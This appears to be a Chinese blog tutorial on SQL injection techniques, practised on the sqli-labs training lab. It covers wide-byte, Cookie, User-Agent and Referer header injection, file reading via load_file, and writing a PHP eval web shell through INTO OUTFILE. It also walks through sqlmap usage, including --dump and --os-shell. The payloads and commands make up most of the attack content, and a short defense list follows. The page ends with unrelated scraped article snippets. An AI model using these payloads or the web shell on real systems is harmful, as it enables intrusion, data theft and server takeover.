SQL注入漏洞 其他注入
文章目录
- 宽字节注入
- 案例
- HTTP头部注入
- Cookie注入
- base64
- User-Agent注入
- Referer 注入
- SQL注入读写文件
- 条件
- 1.是否拥有读写权限
- 2.文件路径
- 3.secure_file_priv
- 读取文件
- 写入文件
- SQLMap
- 安装sqlmap
- kail 源安装
- 仓库克隆
- 参数简介
- 快速入门;SQLmap(常规)使用步骤
- POST注入方法
- GetShell
- SQL 注⼊漏洞防御
宽字节注入
宽字节注入是用在引号闭合前有转义字符\的他会让闭合引号失效,根据gbk编码前面加一个%变成url编码后再在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。
从而逃过转义限制
案例
在sqli-labs中less-32关中就有体现
进入关卡

寻找注入点


发现变化进行单引号闭合发现被转义

在闭合前加入字符81进行url编码%81连接后门的\的字符编码将\变为汉字失去转义功能

出现报错信息进行报错注入http://10.9.47.77/sqli-labs/Less-32/?id=2%81%27and%20updatexml(1,concat(0x5E,(select%20database()),0x5E),1)--+

http://10.9.47.77/sqli-labs/Less-32/?id=2%81'and updatexml(1,concat(0x3A,(select version()),0x3A),1)--+

HTTP头部注入
Cookie注入
对网页内容进行抓包在Cookie字段进行引号闭合寻找注入点

发现报错写入报错注入语句用#号闭合

如果#号无法闭合猜测后面还有单引号 可以使用 and ‘1进行闭合
base64
注入的参数需要进行base64 编码
在sqli-labs中less-22关中就有体现登录后发现cookie进行了编码

将cookie换成admin “进行闭合然后base64编码后发现报错存在sql注入

通过admin " order by 3 # 语句发现他的列数为3

使用联合查询爆出数据库名和版本admin " and 1=2 union select 1,version(),database() #

User-Agent注入
修改http头文件里的user-agent字段
User-Agent: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
在
sqli-labs18关有体现
登录后我们可以看到浏览器指纹信息尝试在里面sql注入
进行报错注入

Referer 注入
在Referer 字段中注入sql语句
Referer: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and ‘1
在sqli-labs-19中就有体现

我们在头文件里进行注入找到’ and '1进行闭合插入

加入sql语句

SQL注入读写文件
条件
1.是否拥有读写权限
想要进行文件读写需要检测用户是否拥有文件权限
?id=2 and 1=2 union select 1,user(),3 #

得到当前登录的用户名进行权限查询
?id=2 and 1=2 union select 1,user(),file_priv from mysql.user where user='root' and host = 'localhost' #

2.文件路径
读写时文件必须使用绝对路径
3.secure_file_priv
mySQL 数据库有关于文件读写的安全选项 secure_file_priv。
secure_file_priv 参数限制了 mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改 my.ini 配置文件,并重启 mysql 数据库。
在数据库中也可以查看
show global variables like '%secure_file_priv%';

| 参数 | 含义 |
|---|---|
| secure_file_priv=NULL | 限制 mysqld 不允许导入导出操作。 |
| secure_file_priv=‘c:/ajest/’ | 限制 mysqld 的导入导出操作在某个固定目录下,并且子目录有效。 |
| secure_file_priv= | 不对 mysqld 的导入导出操作做限制。 |
本案例为空
读取文件
使用load_file函数进行文件读取
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,load_file("C:\\cms.sql"),3#

可以看到读取到了文件
写入文件
使用into outfile函数
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"<?php @eval ($_REQUEST[777]);?>",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+

文件上传成功

SQLMap
SQLMap 是一款专注于 SQLi 的工具,堪称神器。SQLmap 基于 Python 语言编写的命令行工具,集成在 Kali 中。
安装sqlmap
kail 源安装
sudo apt install sqlmap
仓库克隆
git clone https://github.com/sqlmapproject/sqlmap.git #将仓库克隆到本地
git fetch #检测更新
git pull #更新
参数简介
| 参数 | 含义 |
|---|---|
| -u | 检测注入点 |
| –dbs | 列出所有的库名 |
| –current-user | 当前连接数据库用户的名字 |
| –current-db | 当前数据库的名字 |
| -D “cms” | 指定目标数据库为 cms |
| –tables | 列出数据库中所有的表名 |
| -T “cms_users” | 指定目标表名为 cms_users |
| –columns | 列出所有的字段名 |
| -C ‘username,password’ | 指定目标字段 |
| –dump | 列出字段内容 |
| -r | 从文件中读取HTTP 请求 |
| –os-shell | 在特定情况下,可以直接获得目标系统 Shell |
| –level 3 | 设置 sqlmap 检测等级 3 |
| –cookie=“username=admin” | 携带 Cookie 信息进行注入 |
| -g | 利用 google 搜索引擎自动搜索注入点 |
| –batch | 使用默认选项 |
| –random-agent | 使用随机 User-Agent 信息 |
| -v 3 | 显示 payload |
快速入门;SQLmap(常规)使用步骤
1、检测「注入点」
sqlmap -u 'http://xx/?id=1'
2、查看所有「数据库」
sqlmap -u 'http://xx/?id=1' --dbs
3、查看当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
4、查看「数据表」
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
5、查看「字段」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables
6、查看「数据」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
POST注入方法
将遇到post请求在bp进行抓包将请求头文件放入一个文件里
使用
sqlmap -r 文件名
就可以跑post请求了
GetShell
-
受到 secure_file_priv 选项的限制;
-
填写路径时要写目标系统 Web 根目录的绝对路径
-
目录权限
启动sqlmap.\sqlmap.py -u "http://10.9.47.77/sqli-labs/Less-2/?id=2" --os-shell

可以看到引进进入选择一个语言然后选着自定义写入一个正确的绝对路径即可反弹

SQL 注⼊漏洞防御
-
避免采用拼接的方式构造 SQL 语句,可以采用PDO预编译等技术;
-
对进入 SQL 语句的参数进行足够过滤。
-
部署安全设备,如 WAF。定制武器库
利用编程语言写一些小工具。通过对工具的改造,达到定制化的目的,适用于不同的实战场景。
相关文章:
SQL注入漏洞 其他注入
文章目录 宽字节注入案例 HTTP头部注入Cookie注入base64User-Agent注入Referer 注入 SQL注入读写文件条件1.是否拥有读写权限2.文件路径3.secure_file_priv 读取文件写入文件 SQLMap安装sqlmapkail 源安装仓库克隆 参数简介快速入门;SQLmap(常规…...
Java自学第2课:Java语言基础知识要点
1 Java主类结构 任务:创建新项目名为item,包名为number,类名为first。 1.1 包声明 不指定包时,默认就是工程名,指定后,类文件可以分类了,是这意思吧。包就大概等于一个文件夹。而且在类文件中…...
flink状态和检查点
检查点和状态后端的区别 检查点 就是某个时间点下的所有算子的状态快照。这个时间点就是等所有任务将“同一个数据”处理完毕的时候。 状态后端:是一个管理状态的组件,还负责将本地状态(检查点)持久化到远程文件存储系统中。 分…...
数据仓库工具箱-零售业务
文章目录 一、维度模型设计的4步过程1.1 第一步:选择业务过程1.2 第二步:声明粒度1.3 第三步:确定维度1.4 第四步:确定事实 二、零售业务案例研究2.1 第一步:选择业务过程2.2 第二步:声明粒度2.3 第三步&am…...
网络工程实验记录
网络工程 show ip route show running-config 第一周 相同设备使用交叉线,不同设备之间使用直通线 R1能ping通10.1.1.1 R2能ping通所有的 R3能ping通172.16.1.1 即路由器只能到达自身线连接出去的,另一端就连接不了了。 此时给R1分配静态路由 R…...
Danswer 接入 Llama 2 模型 | 免费在 Google Colab 上托管 Llama 2 API
一、前言 前面在介绍本地部署免费开源的知识库方案时,已经简单介绍过 Danswer《Danswer 快速指南:不到15分钟打造您的企业级开源知识问答系统》,它支持即插即用不同的 LLM 模型,可以很方便的将本地知识文档通过不同的连接器接入到…...
react:路由
官方文档:https://reactrouter.com/en/main/start/overview#pending-navigation-ui 一:简单版本 先 npm i react-router-dom main.ts中内容替换为 import ReactDOM from react-dom/client import App from ./App.tsx import ./index.css import {creat…...
【AI工具】手把手带你使用Gradio分享你的模型
手把手带你使用Gradio分享你的模型 1. 快速入门2. 基本参数|支持的接口2.1 Interface类以及基础模块2.2 组件属性2.3 多输入输出组件2,4 图像组件2.5 Chatbots2.6 动态界面接口2.7 Blocks:更具灵活性和调控性2.7.1 Blocks入门2.7.2 更复杂的Blocks3. 分享自定义采样训练参考资…...
海洋专用cmocean颜色包_共22种--全平台可用
海洋专用cmocean颜色包_共22种–全平台可用 往期推荐: Python语言_matplotlib包_共80种–全平台可用 Python语言_single_color_共140种–全平台可用 R语言_RColorBrewer包–全平台可用 R语言gplots包的颜色索引表–全平台可用 R语言中的自带的调色板–五种–全平台…...
uni-app多端开发
uni-app 多端开发 一、命令创建uni-app 项目二、在微信小程序后台找到 appId 填写 appId三、运行项目四、使用 uni-ui4-1、下载4-2、自动导入4-3、ts项目下载类型校验 (uni-ui 组件库)4-3-1、下载4-3-2、配置 五、持久化 pinia六、数据请求封装七、获取组…...
Linux中固定ip端口和修改ip地址
一,更改虚拟网络编辑器 1,首先启动VMware,选择自己要更改ip或固定ip的虚拟机,并找到虚拟网络配编辑器,点击进入 2,进入之后需要点击右下角获取管理员权限后才能修改,有管理员权限之后图片如下 …...
csdn初始模板【自用】
这里写自定义目录标题 欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个…...
2311rust无畏并发.
原文 Rust无畏并发 Rust是为了解决两个麻烦问题: 1,如何安全系统编程 2,如何无畏并发 最初,这些问题似乎是无关的,但令惊讶的是,方法竟然是相同的:使Rust安全的相同工具也可帮助解决并发问题. 内存安全和并发错误,一般认为是代码在不应访问数据时访问数据.Rust依靠所有权为…...
阿里云中的云服务器的ubuntu中的vim没有显示行号
没有行号: 在终端输入命令: vim ~/.vimrc set nu...
Golang 在 Mac、Linux、Windows 下如何交叉编译
Golang 支持交叉编译,在一个平台上生成另一个平台的可执行程序。 GOOS:目标平台的操作系统(darwin、freebsd、linux、windows) GOARCH:目标平台的体系架构(386、amd64、arm) 具体组合…...
如何写好一篇学术论文
目录 前言 1.标题和摘要 1.1标题 1.2摘要及关键词 1.2.1摘要 1.2.2关键词 2.正文 2.1引言 2.2问题建模 2.3研究方法及分析 2.4仿真(伪代码) 2.5实验结果及分析 2.6 总结 2.7延深 2.7.1图片处理 2.7.2审稿回复 2.7.3如何避免拒稿 2.7.4写…...
kubernetes资源监控
目录 一、资源限制 1、limitrange 2、ResourceQuota 二、metrics-server 三、图形化监控和代码行监控 1、dashboard 2、k9s 四、hpa 一、资源限制 Kubernetes采用request和limit两种限制类型来对资源进行分配。request(资源需求):即运行Pod的节点必须满足运…...
Bitget Wallet:使用 Base 链购买 ETH 的简明教程
Base 链是一种 Layer 2(L2)公链,它可以为用户提供以太坊(ETH)代币,而 Bitget Wallet 是一款多功能加密货币钱包,支持 Base 链以及其他主要区块链。...
PostgreSQL简介及安装步骤
PostgreSQL简介 PostgreSQL是一款开源的关系型数据库管理系统,具有强大的扩展性、高度的可定制性和可靠的稳定性,因此在企业级应用和开发领域中得到了广泛的应用。本文将介绍PostgreSQL的基本概念以及在各种操作系统上的安装步骤。 安装步骤 1. Window…...
《安富莱嵌入式周报》第326期:航空航天级CANopen协议栈,开源USB PD电源和功耗分析,开源EtherCAT伺服驱动板,时序绘制软件,现代机器人设计
周报汇总地址:嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Powered by Discuz! 更新一期视频教程: BSP视频教程第28期:CANopen协议栈专题,CANopen主从机组网实战&a…...
Phi-4-reasoning-vision-15B部署教程:开源大模型镜像适配国产GPU方案
Phi-4-reasoning-vision-15B部署教程:开源大模型镜像适配国产GPU方案 1. 模型介绍 Phi-4-reasoning-vision-15B是微软推出的视觉多模态推理模型,具备强大的图像理解和分析能力。这个15B参数规模的模型特别擅长处理需要结合视觉和语言理解的复杂任务。 …...
CCF和中国科协对NeurIPS更正投稿政策做出回应
点击下方卡片,关注“CVer”公众号AI/CV重磅干货,第一时间送达点击进入—>【顶会/顶刊】投稿交流群添加微信号:CVer2233,小助手拉你进群!扫描下方二维码,加入CVer学术星球!可以获得最新顶会/顶…...
在树莓派4B上编译运行Speedtest-CLI:手把手解决curl和expat库的交叉编译难题
树莓派4B实战:从零构建Speedtest-CLI测速工具全流程指南 1. 环境准备与工具链配置 在树莓派4B上构建Speedtest-CLI测速工具,首先需要搭建完整的交叉编译环境。不同于x86平台的直接编译,ARM架构下的开发需要特别注意工具链的选择和配置。 必备…...
金仓数据库KingbaseES KSQL命令行工具实战指南:从基础操作到高级调优
1. KSQL命令行工具入门指南 第一次接触金仓数据库的KSQL命令行工具时,我完全被它强大的功能震撼到了。作为DBA日常运维的瑞士军刀,KSQL不仅能完成基本的数据库操作,还能进行深度性能分析和调优。记得刚开始使用时,我还在纠结要不要…...
在Python项目中是否应该采用分层结构
在学习Python的过程中,许多开发人员会发现,一些Django项目在视图函数中包含了大量的业务逻辑,类似于Java中的控制器进行过多的业务处理。这导致了一个关键问题:Python项目是否应该采用分层结构?这与MVC(模型-视图-控制…...
圆形光斑激光熔覆 Comsol 仿真:科研利器已就位
圆形光斑激光熔覆comsol仿真模型,模型已通过实验验证了正确性,确保模型一定正确可用于科研。 高斯热源,马兰戈尼效应,粘性耗散力等,激光熔覆过程必要项均考虑在模型中。 可根据自己需要调整工艺参数,做完对…...
QT6.5串口编程第一步:用CMakeLists.txt引入SerialPort模块的避坑指南
QT6.5串口编程避坑指南:CMakeLists.txt配置全解析 当你满怀期待地在QT6.5项目中引入串口通信功能,却在编译时遭遇"找不到QtSerialPort"的红色错误提示,这种挫败感我深有体会。作为一位经历过无数次类似"战斗"的开发者&am…...
【NoC片上网络 On-Chip Network】从总线到NoC:多核芯片通信架构的演进与设计权衡
1. 多核芯片的通信困境与架构演进 记得我第一次接触多核芯片设计是在2013年,当时还在用传统的总线架构连接四个ARM Cortex-A9核心。调试时经常遇到总线争用导致的性能瓶颈,就像早高峰时所有车辆挤在一条单车道上的场景。这种体验让我深刻理解了为什么芯片…...
04. Web可访问性最佳实践:让每个用户都能平等访问
04. Web可访问性最佳实践:让每个用户都能平等访问 引言 Web 可访问性是前端开发的重要组成部分,它确保所有用户,包括残障人士,都能平等地访问和使用网站。作为一名把代码当散文写的 UI 匠人,我始终认为:好…...
OpenClaw 的核心组件有哪些?请描述它们之间的关系
👨⚕️ 主页: gis分享者 👨⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕️ 收录于专栏:AI大模型原理和应用面试题 文章目录一、🍀OpenClaw 核心组件详解1.1 ☘️…...
